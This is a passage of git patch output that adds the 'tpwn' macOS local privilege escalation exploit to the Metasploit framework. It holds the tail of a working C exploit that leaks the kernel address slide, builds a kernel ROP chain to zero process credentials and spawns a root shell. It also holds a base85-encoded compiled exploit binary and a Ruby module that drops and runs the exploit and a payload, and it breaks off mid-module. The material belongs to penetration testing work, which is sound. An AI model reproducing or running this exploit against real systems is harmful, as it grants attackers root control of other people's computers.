MACH_PORT_NULL; + msg->header.msgh_size = sizeof(oolmsg_t); + msg->header.msgh_id = 1; + msg->body.msgh_descriptor_count = 1; + msg->desc.address = (void *)vz; + msg->desc.size = svz; + msg->desc.type = MACH_MSG_OOL_DESCRIPTOR; + mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 ); + free(msg); +} +__attribute__((always_inline)) static inline +char* read_kern_data(mach_port_t port) { + oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); + bzero(msg,sizeof(oolmsg_t)+0x2000); + mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL); + return msg->desc.address; +} +int main(int argc, char** argv, char** envp){ + if (getuid() == 0) { + execve("/bin/sh",((char* []){"/bin/sh",0}), envp); + exit(0); + } + if((int)main < 0x5000) execve(argv[0],argv,envp); + lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); + if (!mapping_kernel || !mapping_kernel->map) { + mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel"); + } + lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily"); + kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10; + sync(); + kern_return_t err; + io_iterator_t iterator; + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator); + servicex = IOIteratorNext(iterator); + IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator); + servicea = IOIteratorNext(iterator); + uint64_t c = 0; + or_everywhere((uint64_t)&c); + if (c != 0x10) { + puts("not vulnerable"); + return 2; + } + int ctr=0; +#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++) + struct KernelHeapInfo { + io_connect_t connect; + uint64_t kobject; + mach_port_t port; + } *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS); + char* vz = calloc(1500,1); + +again:; + int maxt = 10; + while (maxt--) { + if (heap_info[maxt+2].connect) { + IOServiceClose(heap_info[maxt+2].connect); + heap_info[maxt+2].connect=0; + } + } + maxt = 10; + while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; }; + while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) { + if (heap_info[1].kobject == 1024+heap_info[0].kobject) { + break; + } + if (maxt == 0) { + goto again; + } + maxt--; + heap_info[maxt+2].connect=heap_info[1].connect; + heap_info[1].connect=0; + }; + + if (!heap_info[1].connect || !heap_info[0].connect) { + exit(-3); + } + + IOServiceClose(heap_info[0].connect); // poke hole + + DO_TIMES(ALLOCS) { + send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port)); + } + + or_everywhere(heap_info[0].kobject + 16); + or_everywhere(heap_info[0].kobject + 500); + + char found = 0; + DO_TIMES(ALLOCS) { + char* data = read_kern_data(heap_info[ctr].port); + if (!found && memcmp(data,vz,1024 - 0x58)) { + kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ; + found=1; + } + } + if (!found) { + exit(-3); + } + + printf("leaked kaslr slide, @ 0x%016llx\n", kslide); + + kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t)); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t)); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1) + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); + + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc"); + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred"); + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get"); + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3) + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero"); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid()) + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt"); + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0); + PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt"); + + PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); + PUSH_GADGET(stack) = heap_info[1].kobject+0x210; + PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); + PUSH_GADGET(stack) = JUNK_VALUE; + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock"); + PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); + PUSH_GADGET(stack) = heap_info[1].kobject+0xe0; + PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); + PUSH_GADGET(stack) = JUNK_VALUE; + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv"); + PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel); + PUSH_GADGET(stack) = heap_info[1].kobject+0xe8; + PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel); + PUSH_GADGET(stack) = JUNK_VALUE; + PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel); + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv"); + + PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n") + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog"); + + PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return"); + + uint64_t* vtable=malloc(0x1000); + + vtable[0] = 0; + vtable[1] = 0; + vtable[2] = 0; + vtable[3] = ROP_POP_RAX(mapping_kernel); + vtable[4] = ROP_PIVOT_RAX(mapping_kernel); + vtable[5] = ROP_POP_RAX(mapping_kernel); + vtable[6] = 0; + vtable[7] = ROP_POP_RSP(mapping_kernel); + vtable[8] = (uint64_t)stack->__rop_chain; + + or_everywhere(heap_info[1].kobject+0x220); // set online + or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL) + alloc(0, 0x1000); + volatile uint64_t* mp = (uint64_t*) 0x10; + mp[0] = (uint64_t)0; + mp[1] = (uint64_t)vtable; + mp[2] = (uint64_t)&mp[1]; + uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code! + vm_deallocate(mach_task_self(), 0, 0x1000); + setuid(0); + if (getuid() == 0) { + system("/bin/sh"); + exit(0); + } + + puts("didn't get root, but this system is vulnerable. "); + puts("kernel heap may be corrupted"); + return 1; +} diff --git a/data/exploits/tpwn/tpwn b/data/exploits/tpwn/tpwn new file mode 100755 index 0000000000000000000000000000000000000000..dabce3a9ec01a42e8416de90ab067636c4551d7f GIT binary patch literal 31484 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 literal 0 HcmV?d00001 From 26165ea93f3171d2718fb5e7b49dbca58318cdd8 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 17 Aug 2015 17:07:58 -0500 Subject: [PATCH 0311/2172] Add tpwn module --- modules/exploits/osx/local/tpwn.rb | 98 ++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/exploits/osx/local/tpwn.rb diff --git a/modules/exploits/osx/local/tpwn.rb b/modules/exploits/osx/local/tpwn.rb new file mode 100644 index 0000000000..bfd0864d61 --- /dev/null +++ b/modules/exploits/osx/local/tpwn.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Local + + Rank = NormalRanking + + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X "tpwn" Privilege Escalation', + 'Description' => %q{ + This module exploits a null pointer dereference in XNU to escalate + privileges to root. + + Tested on 10.10.4 and 10.10.5. + }, + 'Author' => [ + 'qwertyoruiop', # Vulnerability discovery and PoC + 'wvu' # Copy/paste monkey + ], + 'References' => [ + ['URL', 'https://github.com/kpwn/tpwn'] + ], + 'DisclosureDate' => 'Aug 16 2015', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'SessionTypes' => ['shell'], + 'Privileged' => true, + 'Targets' => [ + ['Mac OS X 10.10.4-10.10.5', {}] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) + ]) + end + + def check + ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe + end + + def exploit + print_status("Writing exploit to `#{exploit_file}'") + write_file(exploit_file, binary_exploit) + register_file_for_cleanup(exploit_file) + + print_status("Writing payload to `#{payload_file}'") + write_file(payload_file, binary_payload) + register_file_for_cleanup(payload_file) + + print_status('Executing exploit...') + cmd_exec(sploit) + print_status('Executing payload...') + cmd_exec(payload_file) + end 